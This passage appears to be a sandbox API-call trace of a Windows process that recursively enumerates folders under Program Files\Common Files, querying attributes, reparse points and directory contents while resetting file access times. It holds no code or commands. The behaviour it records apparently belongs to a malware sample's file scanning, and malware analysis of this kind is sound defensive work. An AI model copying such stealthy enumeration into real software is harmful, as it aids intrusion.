(in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.688] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.689] GetLastError () returned 0x12 [0144.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.689] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.689] GetLastError () returned 0x12 [0144.689] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.692] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.692] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.693] GetLastError () returned 0x12 [0144.693] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.693] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.715] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.715] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.718] GetLastError () returned 0x12 [0144.718] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0144.719] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.719] GetLastError () returned 0x12 [0144.719] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.719] GetLastError () returned 0x12 [0144.719] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.723] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.723] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.723] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.724] GetLastError () returned 0x12 [0144.724] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c38 [0144.724] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.728] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.729] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.729] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.742] GetLastError () returned 0x12 [0144.742] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.742] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.744] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.744] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0144.744] GetLastError () returned 0x12 [0144.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.744] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.745] GetLastError () returned 0x12 [0144.745] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.745] GetLastError () returned 0x12 [0144.745] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.745] GetLastError () returned 0x12 [0144.745] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.747] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.747] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.747] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c38 [0144.748] GetLastError () returned 0x12 [0144.748] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.749] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.750] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.750] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.750] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0144.751] GetLastError () returned 0x12 [0144.751] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.751] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.751] GetLastError () returned 0x12 [0144.751] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.751] GetLastError () returned 0x12 [0144.751] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.753] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.753] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.753] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.754] GetLastError () returned 0x12 [0144.754] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0144.754] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.755] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.756] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.756] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.756] GetLastError () returned 0x12 [0144.756] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0144.756] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.758] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.758] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.758] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829bf8 [0144.759] GetLastError () returned 0x12 [0144.759] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0144.759] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7e868 | out: lpFileInformation=0x1a7e868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.760] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0144.760] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9b3cb8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x9b3cb8, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0144.760] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e6b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e6b4) returned 0x829bf8 [0144.761] GetLastError () returned 0x12 [0144.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e6b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e6b4) returned 0x829cf8 [0144.761] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.761] GetLastError () returned 0x12 [0144.761] FindClose (in: hFindFile=0x829cf8 | out: hFindFile=0x829cf8) returned 1 [0144.761] GetLastError () returned 0x12 [0144.761] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.761] GetLastError () returned 0x12 [0144.761] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.761] GetLastError () returned 0x12 [0144.761] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.761] GetLastError () returned 0x12 [0144.761] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0144.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0144.764] 